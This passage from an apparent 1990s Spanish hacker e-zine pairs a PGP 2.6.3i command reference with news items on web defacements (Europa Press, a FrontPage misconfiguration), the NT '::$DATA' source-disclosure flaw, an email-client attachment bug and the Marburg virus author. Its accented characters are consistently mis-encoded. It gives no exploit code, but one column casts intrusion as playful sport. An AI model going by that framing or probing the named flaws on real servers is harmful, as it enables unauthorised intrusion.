llavero p·blico pgp -ks ident [-u propio_ident] [llavero] El parßmetro -u propio_ident sirve para cuando en el mismo llavero privado hay varias llaves. O porque uno mismo se ha generado varias llaves, o porque dos o mßs comparten el mismo llavero secreto, cada uno con su llave. Y siguen mßs funciones de manejo de llaves y llaveros que no han salido todavφa en esta guφa: Examinar la huella digital de las llaves pgp -kvc [ident] [llavero] Modificar el valor de mi firma en la llave de otro, presente en un llavero p·blico mφo. pgp -ke ident [llavero] Desactivar (o activar si estaba desactivada) una llave p·blica. pgp -kd ident [llavero] Suprimir una o mßs firmas de una llave. Pgp -krs ident [llavero] Revocar una llave propia. Esto no lo he hecho nunca. Se emite un certificado de revocaci≤n. No sΘ si al mismo tiempo queda desactivada para siempre la propia llave. Pgp -kd mi_ident Tomo (no a la letra):del archivo pgpdoc1.txt Revocar una llave p·blica Supongamos que tu llave secreta y tu clave (frase contrase±a) ya estßn en manos de otros. Hay que avisar a todo el mundo para que dejen de usar esa llave p·blica tuya. Para esto se expide un certificado de revocaci≤n. Se obtiene esto con: pgp -kd tu_ident Este certificado lleva tu firma hecha con la misma llave que estßs revocando. Deberßs distribuir ampliamente el certificado de revocaci≤n lo antes posible. Quienes lo reciban lo podrßn a±adir a sus llaveros p·blicos y su PGP impedirß que se use esa llave si es que por error la quieres usar. Te tocarß generar un nuevo par de llaves y volver a difundir tu nueva llave p·blica. Y puede ser que quieras revocar tu llave por alguna otra raz≤n. Pero el procedimiento es el mismo. Casos conocidos:: robo de la computadora, olvido de la frase clave que abre tu llave secreta... I.Complementos Quedan a·n algunos temas por tratar que si se hubieran explicado junto con los anteriores, quizß hubieran complicado de mßs cada tema. Sin embargo, precisamente porque queremos ayudarnos todos en esto, vuelvo a pedir sus sugerencias para mejorar las explicaciones o el orden, o todo lo que les parezca que ayuda a que otros se animen y usen el PGP. A.El parßmetro -p Al descifrar un archivo es posible restablecer el nombre original del archivo. No lo he usado porque es fßcil que varios le den el mismo nombre, por ejemplo, juan.txt (porque le escriben a Juan Hernßndez). Y como se puede determinar el nombre resultante como uno quiera con el parßmtero -o prefiero escogerlo yo. A.El parßmetro -o Con el parßmetro -o se±ala uno el nombre resultante, o sea el nombre del archivo descifrado. Si no se usa ni el -o ni el -p el archivo resultante es, como ya hemos visto, el mismo nombre del que se descifra sin ninguna terminaci≤n. El parßmetro -o tambiΘn sirve para dar un nombre con todo y ruta (path) y asφ cae lo descifrado en el directorio que uno quiere. Supongamos que quiero tener lo que voy recibiendo en un directorio que se llama \cartas\Juan y Juan me manda una carta cifrada carta.asc; entonces con el comando: pgp -o c:\cartas\juan\c960717.txt el archivo descifrado serß c960717.txt en el subdirectorio \cartas\juan. Se supone que el subdirectorio \juan ya existe en mi compu. A.El parßmetro -u Si hay s≤lo una llave en el llavero privado (secreto) el parßmetro -u no es necesario. Si varios comparten un mismo llavero privado y por tanto hay en Θl varias llaves, con el parßmetro -u se le indica al programa cußl de esas llaves debe usar para firmar archivos o llaves. A.El n·mero hexadecimal de la llave como identificador Se puede usar como identificador el n·mero hexadecimal de la llave precedido por el prefijo 0x (cero x). Asφ, mi identificador puede ser 0xAF32327D; el de fulano, 0x3E66DFD1. El comando: pgp -e archivo.??? 0xaf32327d 0x3e66dfd1 cifrarß archivo.??? para fulano y para mφ. Cuando examinamos con -kv un llavero vemos el n·mero hexadecimal de la(s) llave(s). Esta es la manera de evitar ambigⁿedades cuando varios tienen identificadores iguales. El caso extremo serß si alguno ha generado dos pares de llaves con el mismo identificador pues es la misma persona. Pero el n·mero hexadecimal de cada par de llaves es distinto. Una observaci≤n a prop≤sito de los identificadores. PGP maneja como identificador cualquier palabra o parte de ella que estΘ en el nombre de la llave. Mi llave es: pub 512/AF32327D 1994/07/15 Luis del Valle <lvalle@mixcoac.uia.mx>. Pueden ser identificadores las palabras completas: luis del valle lvalle mixcoac.uia.mx, o cualquier parte de ellas. Y por eso fßcilmente se pueden dar ambigⁿedades. TambiΘn puede ser identificador cualquier combinaci≤n de letras y espacios de mi nombre si se escriben entre comillas: "luis del" "is de" "lv", o tambiΘn el n·mero hexadecimal de mi llave, o todo o una parte de Θl, precedido por el prefijo 0x. 0xaf32327d, 0xaf32, 0x327d identifican mi llave, aunque si no se escribe todo el n·mero puede identificar otras llaves tambiΘn. La manera de ver si varias llaves coinciden en el mismo identificador es viendo el contenido de un llavero con la orden pgp -kv ident [llavero]. Resultarßn todas las llaves que tengan ese identificador. Si s≤lo resulta una, no hay ambigⁿedad en ese identificador. A.El archivo randseed.bin Cada vez que PGP cifra algo genera primero la clave para ello. Es un n·mero construido con un n·mero de tantos bits cuantos tiene la llave. Con esa clave cifra el archivo. Luego cifra la clave reciΘn generada con ayuda de la llave p·blica del destinatario. Al descifrar, PGP descifra primero la clave de todo lo demßs del archivo y con ella como instrumento descifra el archivo mismo. Randseed.bin es un archivo que utiliza PGP para generar al azar el n·mero que serß la clave de lo que estΘ cifrando en ese momento. A.Archivos por cifrar en otros directorios que no son \PGP Sin duda que ya han cifrado archivos que no estΘn en el directorio \PGP. No es tema Θste directamente del uso de este programa, sino del uso general del DOS. Dado que el directorio \PGP estß en la ruta (path) en el comando path del autoexec.bat, se puede invocar el comando pgp desde cualquier directorio. TambiΘn se puede cifrar cualquier archivo que estΘ en cualquier directorio si estando en el directorio PGP se da el nombre del archivo con todo y su ruta. Por ejemplo: c:\pgp> pgp -esa c:\doc\cartas\fulano.txt ident cifra el archivo fulano.txt que estß en el subdirectorio cartas del subdirectorio doc del directorio principal. Con el parßmetro -o pedimos que el resultado tenga el nombre que queramos en el directorio que deseemos. c:\pgp> pgp -esa c:\doc\cartas\fulano.txt ident -o c:\modem\subir\fulano.asc pone el mensaje cifrado en el subdirectorio subir del subdirectorio modem del directorio principal. I.Frentes para PGP en DOS y en windows Tan s≤lo aludo a que existen programas que manejan mßs amigablemente, como dicen, el PGP. No es que se haya hecho el programa de esa otra manera, sino que son presentaciones por medio de men·s, o desde windows y que se encargan da ir a DOS y dar los comandos con los parßmetros correspondientes. Mi experiencia ha sido que facilitan el manejo, pero s≤lo de las principales funciones. Por otra parte son las mßs ordinarias. Se pueden conseguir por ftp o en la pßgina web del pgp. No entro a explicarlos porque serφa, creo, una tarea semejante a la que asumφ con este instructivo. ╙rdenes para PGP 2.6.3(i) (a_normal = archivo normal; adellaves = archivo de llaves,...) Para cifrar un archivo normal con la llave p·blica del destinatario: pgp -e a_normal identificador [otros identificadores] Para firmar un archivo normal con mi llave secreta: pgp -s a_normal [-u mi_identificador] Para firmar un archivo normal con mi llave secreta y despuΘs cifrararlo con la llave p·blica del destinatario: pgp -es a_normal identificador [otros id.] [-u mi_identificador] Para cifrar un archivo normal s≤lo a la manera tradicional: pgp -c a_normal Para descifrar un archivo, o comprobar la integridad de la firma en un archivo firmado: pgp acifrado [-o a_normal] Para descifrar un archivo con armadura ASCII en varias partes: grabe todas las partes por orden en un archivo con extensi≤n .asc y escriba: pgp farmadura [-o a_normal] Funciones para la gesti≤n de llaves: Para generar tu propio par ·nico de llaves p·blica/secreta: pgp -kg Para a±adir el contenido de un archivo de llaves p·blicas o secretas al llavero correspondiente: pgp -ka adllaves{origen} [llavero{dest}] Para extraer (copiar) una llave del llavero de llaves p·blicas o secretas: pgp -kx identificador adllaves [llavero] o: pgp -kxa identificador adllaves {destino} [llavero{origen}] Para visualizar el contenido del llavero de llaves p·blicas: pgp -kv[v] [identificador] [llavero] Para ver la huella digital de una llave p·blica, y poder verificarla por telΘfono con su due±o: pgp -kvc [identificador] [llavero] Para visualizar el contenido y comprobar las firmas de certificaci≤n en el llavero de llaves p·blicas: pgp -kc [identificador] [llavero] Para modificar el identificador o la frase de contrase±a (clave) de la llave secreta: pgp -ke identificador [llavero] Para modificar los parßmetros de confianza de una llave p·blica: pgp -ke identificador [llavero] Para suprimir una llave, o s≤lo un identificador, del llavero de llaves p·blicas: pgp -kr identificador [llavero] Para firmar la llave p·blica de alguien en el propio llavero de llaves p·blicas: pgp -ks identificador_des [-u su_identificador] [llavero] Para suprimir de un llavero ciertas firmas de un usuario: pgp -krs identificador [llavero] Para desactivar una llave p·blica, para que PGP no la utilice, o para reactivarla: pgp -kd identificador [llavero] Para revocar permanentemente su propia llave, emitiendo un certificado de compromiso de llave: pgp -kd su_identificador Ordenes esotΘricas: Para descifrar un mensaje y dejar su firma intacta: pgp -d acifrado Para crear un certificado de firma separado del documento: pgp -sb atexto [-u mi_identificador] Para separar un certificado de firma del mensaje firmado: pgp -b acifrado Opciones que pueden utilizarse en combinaci≤n con otras: Para producir un archivo cifrado en formato ASCII radix-64, a±ada simplemente la opci≤n -a cuando cifre o firme un mensaje, o cuando extraiga una llave: pgp -sea ftexto identificador_des o: pgp -kax identificador fdllave [llavero] Para eliminar automßticamente el archivo normal despuΘs de crear el archivo cifrado, a±ada simplemente la opci≤n -w (wipe {limpiar}) cuando cifre o firme un mensaje: pgp -wes mensaje.txt identificador [otros ident.] Para indicar que un archivo normal contiene texto ASCII, no binario, y que debe ajustarse a los convenios de lφnea del destinatario, a±ada la opci≤n -t (texto) a las otras opciones: pgp -seta mensaje.txt identificador [otros ident.] Para visualizar el texto descifrado en la pantalla (como con la orden "more" {mßs} de Unix), sin grabarlo en un archivo, utilice la opci≤n -m (more) al descifrar: pgp -m acifrado Para indicar que el texto descifrado para el destinatario S╙LO se puede mostrar en la pantalla de Θste, sin grabarse en el disco, a±ada la opci≤n -m: pgp -metas mensaje.txt identificador [otros identificadores] Para recuperar el nombre original del archivo normal al descifrar, a±ada la opci≤n -p: pgp -p acifrado Para utilizar en modo filtro, como en Unix, leyendo de la entrada estßndar y escribiendo en la salida estßndar, a±ada la opci≤n -f: pgp -festa identificador [otros identificadores]< aentrada > asalida Para incluir identificadores de un archivo al cifrar un mensaje, utiliza la opci≤n -@: pgp -e archivo un_identificador -@masids.txt NOTA: Aunque no estΘ en la documentaci≤n, tambiΘn me ha resultado con: pgp -e archivo -@identificadores.txt Como identificador se puede usar el n·mero de cualquier llave (el que sale al ver un llavero, no la huella digital) precedido de 0x (cero, x), por ejemplo 0xAF323227D, o s≤lo parte de ese n·mero. Cuidar que no haya ambigⁿedad. Se comprueba viendo el llavero con el identificador (pgp -kv identificador llavero) y comprobar que s≤lo resulta uno. A no ser que uno quiera cifrar para los varios que resulten. Revisado el escrito noto que no tratΘ lo que se dice del modo de filtro al estilo unix. ╙rdenes para PGP 2.6.3i Cifrar a la manera tradicional: pgp -c[a][m][w] archivo.??? [-o ruta\archivo.???] Opciones: [a] armadura de ASCIIs, [m] S≤lo lectura en pantalla sin que lo puedan grabar. [w] Que se borre el archivo original no cifrado [o ruta\archivo.???] Darle nombre con todo y ruta al archivo resultante Resulta: archivo.asc ≤ archivo.pgp ≤ ruta\archivo.??? Cifrar al modo del pgp pgp -e[s][a][m][w] archivo.??? Ident [ident] [ident] [...][-o ruta\archivo.asc] [-u tu_ident], o bien: pgp -e[s][a][m][w] archivo.??? -@llaves.txt [-o ruta\archivo.asc] [-u tu_ident], Opciones: [s] firmar [a] armadura de ASCIIs [m] Solo lectura sin que lo puedan grabar [w] Que se borre el archivo original no cifrado [-o ruta\archivo.???] Darle nombre con todo y ruta al archivo resultante. [-u tu_identi] se debe usar si firmas lo cifrado y tienes en tu secring.pgp varias llaves. Llaves.txt es un archivo de texto con los identificadores de aquellos para quien se cifra. Un identificador en cada renglon. Pueden ir espacios y sin comillas. Resulta: archivo.asc ≤ archivo.pgp ≤ ruta\archivo.??? Firmar un texto abierto (se puede firmar tambiΘn cualquier archivo, con cualquier terminaci≤n): pgp -st[a][b] archivo.txt Opciones: [a] armadura de ASCIIs [b[ producir la firma en archivo separado Resulta: archivo.asc ≤ archivo.pgp Descifrar: pgp -[m][p] archivo.??? [-o ruta\archivo.???] Opciones: [m] S≤lo lectura, sin que se grabe el archivo descifrado en mi disco. [p] El resultado tendrß el nombre original del archivo que se cifr≤. [-o ruta\archivo.???] Darß nombre con todo y ruta al archivo que resulte Observaciones: PGP va distinguiendo quΘ tipo de archivos estß descifrando. una o varias llaves. Preguntarß si las a±ade al llavero pubring.pgp. un texto cifrado a la manera tradicional. Pedirß la frase-clave con que se cifr≤. un texto cifrado la manera del pgp. Dirß si estß firmado y luego lo descifrarß. una firma separada del texto. Dirß que necesita el nombre del archivo a que se refiere y luego checarß la integridad del documento. un texto abierto pero firmado. Checarß la firma. Resultados diversos. RecuΘrdese que el config.txt puede hacer que las opciones [a][t] estΘn activadas siempre que sea posible aunque no se escriban expresamente en la lφnea de comando. 1)MANEJAR LLAVES ╖ Generar nuestro par de llaves p·blica-privada pgp -kg El resultado son pubring.pgp, secring.pgp y randseed.bin ╖ A±adir llaves nuevas a un llavero: pgp -ka archivo_origen [llavero_destino] Si no se escribe el llavero_destino va al defaul, que es pubring.pgp, o el que se haya indicado en el config.txt, o el secring.pgp seg·n que el contenido del archivo_origen tenga por contenido llaves p·blicas o privadas ╖ Meter nuestro llavero p·blico, con una o con muchas llaves, a una armadura de ASCIIs simples con la que es capaz de sobrevivir en el medio inh≤spito de las mßquinas de 7 bits. pgp -a pubring.pgp El resultado serß pubring.asc, que no es llavero, sino archivo de llaves. Es la colecci≤n de llaves en formato .asc, pero no funciona como llavero. ╖ Sacar copia de cualquier llave que estΘ en nuestro llavero p·blico (e igual se hace con el llavero privado o secreto) y conservarla en un archivo cuyo contenido es s≤lo una llave. pgp -kx ident archivo_destino.pgp llavero_origen pgp -kxa ident archivo_destino.asc llavero_origen ╖ Examinar cualquier llavero para saber de quΘ llaves consta. La segunda "v" opcional se usa para ver tambiΘn quΘ firmas tiene cada llave (v=verbose). Si no se escribe ning·n ident se verßn todas. pgp -kv[v] [identif] [llavero] ╖ Suprimir una llave o s≤lo un identificador, de un llavero pgp -kr ident [llavero] ╖ A±adir un identificador o modificar la clave en el llavero privado pgp -ke ident [llavero] ╖ Firmar la llave de un llavero p·blico pgp -ks ident [-u propio_ident] [llavero] El parßmetro -u propio_ident sirve para cuando en el mismo llavero privado hay varias llaves. O porque uno mismo se ha generado varias llaves, o porque dos o mßs comparten el mismo llavero secreto, cada uno con su llave. ╖ Examinar la huella digital de las llaves pgp -kvc [ident] [llavero] ╖ Modificar el valor de mi firma en la llave de otro, presente en un llavero p·blico mφo. pgp -ke ident [llavero] ╖ Suprimir una o mßs firmas de una llave. pgp -krs ident [llavero] ╖ Desactivar (o activar si estaba desactivada) una llave p·blica. pgp -kd ident [llavero] ╖ Revocar una llave propia. pgp -kd mi_ident Se emite un certificado de revocaci≤n. Este certificado, incluido en un llavero p·blico, impide que se use la llave revocada. Esto no lo he hecho nunca. No sΘ si al mismo tiempo queda desactivada para siempre la propia llave. ///////////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 12. NOTICIAS DE LA RED ZeD no se hace responsable de las opiniones a qui reflejadas y puede o no compartir la misma opinion que los autores de estas noticias. Mikel Amigot Agitado dφa el de ayer para el equipo de La Br·jula. Un "hacker" con el pseud≤nimo "R2D2" entr≤ a primera hora de la ma±ana en el apartado de noticias de "Informativos Imssa-La Br·jula" de "Ethek and Friends", http://www.ethek.com , estamp≤ su firma, pint≤ unos cuernos en la foto de este cronista y dej≤ un par de direcciones a sitios pornogrßficos. El propietario de Ethek, Enric, asociado y gran amigo de nuestro diario, permite desde hace meses el acceso a directorios de su web a diversos colaboradores, que actualizan directamente sus pßginas. "R2D2" aprovech≤ un descuido en la configuraci≤n de las extensiones de "Front Page" y penetr≤ en el servidor web que aloja tanto las pßginas de Ethek como La Br·jula y otros "sites". El hacker entr≤ dos veces y anunci≤ que su pr≤ximo objetivo serφan las pßginas nuestro peri≤dico. La "travesura" amenazaba con ir a mayores, de modo que hubimos de movilizar al equipo de programaci≤n, desperdigado por Espa±a aprovechando la parßlisis agoste±a. Imagφnense la escena: quien suscribe con un telΘfono m≤vil frente al mar en Zarautz, Gipuzkoa, en plan "ciberhortera", y el resto del equipo, mßs serio, frente a diversos ordenadores, tratando de evitar un nuevo ataque y localizando al hacker, o grupo de hackers, que anunciaban el asalto. David y Alberto, en Madrid, frente al NT; Enric, en Casteldefells analizando los "logs"; Angel, en la Diagonal barcelonesa, sugiriendo "sorpresas" para los intrusos; y Alberto, en Gij≤n, dando nuevas pautas. ┐QuΘ sucedi≤? No conviene presumir y los cßnones periodφsticos indican que uno no debe hablar de sφ mismo, pero con este equipo el resultado estaba cantado: no consiguieron entrar y, ademßs, a punto estuvimos de descubrir la identidad del intruso (Hoy seguramente caerß). LABRUJULA.NET permaneci≤ inexpugnable. "R2D2", que utiliz≤ tambiΘn el alias de "Kicktophone", se qued≤ sin la satisfacci≤n de anunciar en las "news" nuevas haza±as. Luego surgieron inevitablemente las especulaciones de quiΘn o quiΘnes podφan ser. Personas molestas por nuestras informaciones, desde luego, no faltan, pero repasando la hemeroteca dedujimos que este grupo de "agraviados" era incapaz de manejar ordenadores con habilidad. Asφ que nos inclinamos por la tesis de la travesura. Hemos alcanzado una cierta notoriedad (ayer superßbamos la barrera de los 10.000 suscriptores diarios en menos de cinco meses de existencia) y "hackear" La Br·jula empieza a ser noticia. Al menos para nosotros lo es. Y esperemos que tambiΘn para usted, querido lector. :-) ////////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Mikel Amigot Los "hackers" que asalten un medio de comunicaci≤n o una empresa espa±ola o hispanoamericana deberφan dejar, ademßs de una firma del tipo "web hackeado por X", un enlace a una pßgina con un peque±o manual sobre tΘrminos bßsicos de Internet, de la filosofφa del "hacking" y de la vida informßtica en general. De no hacerlo asφ, corren el peligro de que las empresas a las que han accedido no se enteren de nada. El sßbado pasado cuando este cronista llam≤ a EuropaPress para preguntar por el alcance del ataque del que habφa sido vφctima esta agencia de noticias, un redactor jefe, que actuaba como director en funciones, pregunt≤ quΘ era eso de "ser hackeado" y "para quΘ servφa". Alguien de su compa±φa debi≤ de comprenderlo, pues al cabo de una hora el sitio web quedaba restaurado. El grupo "Digit0", que firmaba la intrusi≤n en el sistema de "Europa Press" y aparecφa por primera vez en escena, deberφa adjuntar en adelante un diccionario bßsico. Este desconocimiento imperante recuerda a la fisura de seguridad del "::$DATA", que permitφa bajar los "c≤digos fuente" de los programas realizados en "asp" o "perl" en servidores NT. Todavφa hoy, semanas despuΘs de ser descubierto el agujero, muchos sistemas de empresas no han instalado el pertinente parche de seguridad. Otro fallo elemental muy extendido se produce cuando no se aplica ning·n tipo de privilegio de acceso a las pßginas web dise±adas con Front Page. En algunos casos llamando simplemente al sistema se logra entrar. Tantas facilidades, unidas al desconocimiento existente, estßn propiciando que el "hacking", tan mitificado en otros paφses, se estΘ convirtiendo en nuestro entorno en una prßctica excitante a la que cualquiera puede acceder. /////////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Microsoft y Netscape estudian soluciones urgentes para evitar la fisura del ôe-mailö Lunes, 3 Agosto Dos investigadores de la Universidad finlandesa de Oulu, Ari Takanen y Marko Laakso, han descubierto un fallo de programaci≤n en los programas gestores de correo electr≤nico de Netscape y Outlook de Microsoft, que permitirφan a intrusos informßticos con malas intenciones destruir o robar documentos e insertar diferentes virus en nuestro ordenador. Tanto Netscape como Microsoft han confirmado el hecho y han empezado a elaborar contrareloj ôparchesö o programas que corrijan el defecto. El defecto o ôbugö se produce sin necesidad de abrir el mensaje, lo cual ha disparado la alarma en la comunidad de Internet, pues hace revivir un viejo fantasma que asol≤ la red en los primeros a±os, cuando se pens≤ que la recepci≤n de un simple mensaje de correo electr≤nico podrφa servir para que alguien entrara en nuestro ordenador. Algunos desaprensivos se encargaron a lo largo de los ·ltimos a±os de mantener vivo el temor, lanzando falsas ideas del tipo de ôsi usted abre un mensaje que lleve por tφtulo ôWin a holidayö o ôGood timesö infectarß automßticamente su mßquinaö. La noticia hoy es que existe la posibilidad de que simplemente recibiendo un correo con un archivo adjunto, uno puede perder el control del propio ordenador. Cuando el fichero adjunto lleva un nombre extremadamente largo, con una extensi≤n superior a la que admite el sistema, el programa lector de correo se queda ôcolgadoö. Pero antes de ello, al parecer, se ejecuta el fichero en cuesti≤n, que puede consistir en un virus o, por poner otro ejemplo, en un programa para copiar el contenido del disco duro y enviarlo por la red. Uno de los mayores expertos en seguridad en Espa±a, JosΘ Manuel G≤mez, coordinador del sitio web Kript≤polis, http://www.kriptopolis.com, en el que se da una amplia informaci≤n del tema, ha asegurado en su boletφn que ôlos usuarios estßn ahora desprotegidos y, dada la implantaci≤n de los programas de correo, tenemos al diablo sentado en la mesaö. Sin embargo, a pesar de la convulsi≤n, el modo concreto de explotar este ôbugö a·n no ha sido difundido. Tampoco han trascendido noticias de ataques. Netscape ha se±alado que en los pr≤ximos dφas difundirß una versi≤n que evite el problema, mientras Microsoft ha recomendado que no se lean los mensajes con ficheros adjuntos de comunicantes desconocidos. Netscape ha pedido que ôbajo ninguna circunstancia se active el men· de Archivo cuando el mensaje estΘ seleccionadoö. Ambos fabricantes de software sugieren visitas peri≤dicas a sus pßginas dedicadas a seguridad, pues tan pronto tengan el ôantφdotoö lo difundirßn. La fuerte competencia entre los navegadores ha llevado a ambas firmas rivales a comercializar software con errores tan graves como Θstos, seg·n coinciden diversos programadores consultados por nuestro diario. Como fuente de informaci≤n adicional, se recomienda News.com, asφ como el foro mßs prestigioso de la red en cuestiones de ôbugsö y errores de programaci≤n: http://www.ntbugtraq.com ///////////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Un grupo de ôhackersö espa±oles entra el servidor web de la agencia ôEuropa Pressö Domingo, 9 Agosto El servidor web de ôEuropa Pressö, la segunda agencia de noticias espa±olas despuΘs de ôEfeö ha sido asaltado hoy sßbado 8 por un grupo de ôhackersö espa±oles denominado ôDigit0ö, quienes comunicaron la acci≤n a LABRUJULA.NET . Los hackers dejaron una se±al de su incursi≤n en la pßgina web de ôEuropa Pressö,<HTTP: www.europapress.es http://www.europapress.es . Escribieron la frase: ôLa seguridad es s≤lo un estado mentalö; y manifestaron su protesta contra las subidas telef≤nicas: ôEl dφa 3 todos contra el abusoö, con un enlace al sitio web http://www.lanzadera.com/lahuelga , en el que se manifiesta la disconformidad con el incremento de las tarifas. Europa Press es el primer medio de comunicaci≤n espa±ol que resulta ôhackeadoö. Al comprobar que despuΘs de varias horas la agencia no restauraba la versi≤n original de sus pßginas web, el editor de LABRUJULA.NET estableci≤ contacto telef≤nico con este medio para averiguar el alcance del ataque y se encontr≤ con la sorpresa de que ning·n responsable del medio se habφa percatado de la acci≤n. Un redactor jefe, que actuaba como mßximo responsable en ausencia del director, se±al≤ que ôera la primera noticia que tenφanö y pregunt≤, extra±ado, ôpara quΘ se hacφa estoö. Una hora despuΘs de recibir nuestra comunicaci≤n, los responsables de informßtica de ôEuropa Pressö cambiaron la pßgina principal, sin que hasta el momento se haya sabido la magnitud de la acci≤n. LABRUJULA.NET tuvo noticia del ataque informßtico por un ôe-mailö que llevaba el encabezamiento de ôHackeada la Web de la agencia Europa Pressö. Esta agencia de noticias es uno de los medios hist≤ricos en el suministro de informaci≤n en Espa±a. Presta servicios a decenas de peri≤dicos y revistas. En Internet realiza desde hace casi dos a±os un servicio de noticias para ôTelef≤nicaö, y en este a±o ha firmado un acuerdo con el buscador ôOlΘö para difundir informaciones de agencia. /////////////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ NOTICIAS DE LA SEMANA Un grupo de ôhackersö espa±oles entra el servidor web de la agencia ôEuropa Pressö Domingo, 9 Agosto El servidor web de ôEuropa Pressö, la segunda agencia de noticias espa±olas despuΘs de ôEfeö ha sido asaltado hoy sßbado 8 por un grupo de ôhackersö espa±oles denominado ôDigit0ö, quienes comunicaron la acci≤n a LABRUJULA.NET . Los hackers dejaron una se±al de su incursi≤n en la pßgina web de ôEuropa Pressö,<HTTP: www.europapress.es http://www.europapress.es . Escribieron la frase: ôLa seguridad es s≤lo un estado mentalö; y manifestaron su protesta contra las subidas telef≤nicas: ôEl dφa 3 todos contra el abusoö, con un enlace al sitio web http://www.lanzadera.com/lahuelga , en el que se manifiesta la disconformidad con el incremento de las tarifas. Europa Press es el primer medio de comunicaci≤n espa±ol que resulta ôhackeadoö. Al comprobar que despuΘs de varias horas la agencia no restauraba la versi≤n original de sus pßginas web, el editor de LABRUJULA.NET estableci≤ contacto telef≤nico con este medio para averiguar el alcance del ataque y se encontr≤ con la sorpresa de que ning·n responsable del medio se habφa percatado de la acci≤n. Un redactor jefe, que actuaba como mßximo responsable en ausencia del director, se±al≤ que ôera la primera noticia que tenφanö y pregunt≤, extra±ado, ôpara quΘ se hacφa estoö. Una hora despuΘs de recibir nuestra comunicaci≤n, los responsables de informßtica de ôEuropa Pressö cambiaron la pßgina principal, sin que hasta el momento se haya sabido la magnitud de la acci≤n. LABRUJULA.NET tuvo noticia del ataque informßtico por un ôe-mailö que llevaba el encabezamiento de ôHackeada la Web de la agencia Europa Pressö. Esta agencia de noticias es uno de los medios hist≤ricos en el suministro de informaci≤n en Espa±a. Presta servicios a decenas de peri≤dicos y revistas. En Internet realiza desde hace casi dos a±os un servicio de noticias para ôTelef≤nicaö, y en este a±o ha firmado un acuerdo con el buscador ôOlΘö para difundir informaciones de agencia. Una empresa de Le≤n negocia con Telef≤nica dar tarifa plana en septiembre Domingo, 9 Agosto Una empresa privada de Le≤n, NoraCentrex<HTTP: www.nora.es , formada por informßticos y expertos en telecomunicaciones, mantiene negociaciones con Telef≤nica para implantar en Espa±a tarifa plana de conexi≤n a Internet a partir de septiembre. La tarifa plana, esto es, una sola cuota mensual por estar conectado a Internet, con independencia del tiempo de consumo telef≤nico, es una aspiraci≤n unßnime de la comunidad internauta en Espa±a. Una sola compa±φa, Netspain, venφa ofreciendo esa posibilidad desde el mes de febrero, pero su mala gesti≤n empresarial, ademßs de la retirada del apoyo de Telef≤nica, le ha colocado al borde del cierre. Su propietaria, Ana BelΘn Domingo, ha llegado a la fase de pedir a sus clientes que le hagan un abono en una cuenta personal sin factura y sin mßs garantφas que su palabra, indicando que quien no se acoja a esta posibilidad perderß el servicio. Esta ins≤lita actitud ha generado una viva controversia, reflejada en el canal de IRC #Netspain, entre quienes optan por el insulto abierto hacia dicha empresaria y quienes creen que todavφa merece un voto de confianza. La propietaria de Netspain hizo unas ·nicas declaraciones a LABRUJULA.NET el pasado lunes, y desde ese momento ha evitado comunicarse con sus clientes. La estrategia de Nora al dφa de hoy se basa en recoger peticiones de usuarios a travΘs de un formulario habilitado en el web, para, a partir de ahφ, decidir d≤nde y cußndo pone en marcha su servicio, seg·n ha comunicado a LABRUJULA.NET uno de sus responsables, Pedro Llamas. El objetivo de esta joven empresa, que es una Sociedad Limitada y act·a hoy dando acceso y servicios de Internet a particulares y compa±φas de Le≤n, es instalar nodos locales en las principales ciudades espa±olas, empezando por Madrid, Barcelona y Palma de Mallorca. Las pruebas efectuadas se estßn saldando de manera positiva. Las negociaciones con Telef≤nica, que, en principio, se muestra conforme con la iniciativa de Nora, llevan desarrollßndose meses y en el momento actual se hallan en un estado muy avanzado. ôEstamos perfilando un acuerdoö, ha dicho el responsable de Nora, empresa que estudia el servicio de tarifa plana desde mayo de 1996. De implantarse finalmente el sistema, Nora serφa la titular de las lφneas de telΘfono, por lo que el usuario abonarφa directamente a esta empresa tanto el consumo telef≤nico como el acceso y utilizaci≤n de Internet. Esto es: actuarφa como una operadora de telecomunicaciones y como un ISP o proveedor de acceso. Para acogerse al sistema, hay que habilitar, o bien instalar, una lφnea telef≤nica especφficamente destinada a este uso. Si se instala, el coste es de 24.800 pesetas (mßs IVA). Si se utiliza una lφnea existente, cero pesetas. A partir de ahφ, se paga una cuota mensual de 2.500 pesetas por uso del telΘfono asφ como una cuota de 5.800 pesetas (mßs IVA) por acceder y utilizar Internet, ademßs de un alta de 9.000 pesetas (mßs IVA). Ademßs de la pßgina web, Nora ha dispuesto un telΘfono de informaci≤n: 902113358. Un universitario espa±ol crea un virus que resulta indetectable por las marcas Domingo, 9 Agosto Un joven informßtico espa±ol, estudiante de telecomunicaciones, conocido como ôGriyoö, perteneciente al grupo denominado ô29 Aö, ha sido el autor de un virus bautizado como ôWin32/Marburgö, para el todavφa no existe soluci≤n, seg·n ha sabido en exclusiva LABRUJULA.NET. Este virus, que afecta a archivos de Windows 95 y 98, se estß propagando por todo el mundo despuΘs de que la publicaci≤n britßnica ôPC Gamerö, de distribuci≤n internacional, incluyera en julio un CD ROM con archivos infectados. Las empresas creadoras de anti-virus todavφa no han encontrado una soluci≤n, y s≤lo una de ellas, Doctor Solomon, ha anunciado que en breve lanzarß una versi≤n, la 7.86, que ô·nicamente lo detectarßö. ôGriyoö, al igual que el grupo ô29 Aö, formado por cinco espa±oles y cinco extranjeros, destacan a escala mundial por la sofisticaci≤n de los virus que crean. Griyo es, seg·n ha sabido nuestro peri≤dico, un universitario veintea±ero, ôtelecoö, que ha creado virus como ôCri-Criö ôFamilyö, ôWin98.HPSö, ôSuck Sexee Familyö, ôWin GoLLuM 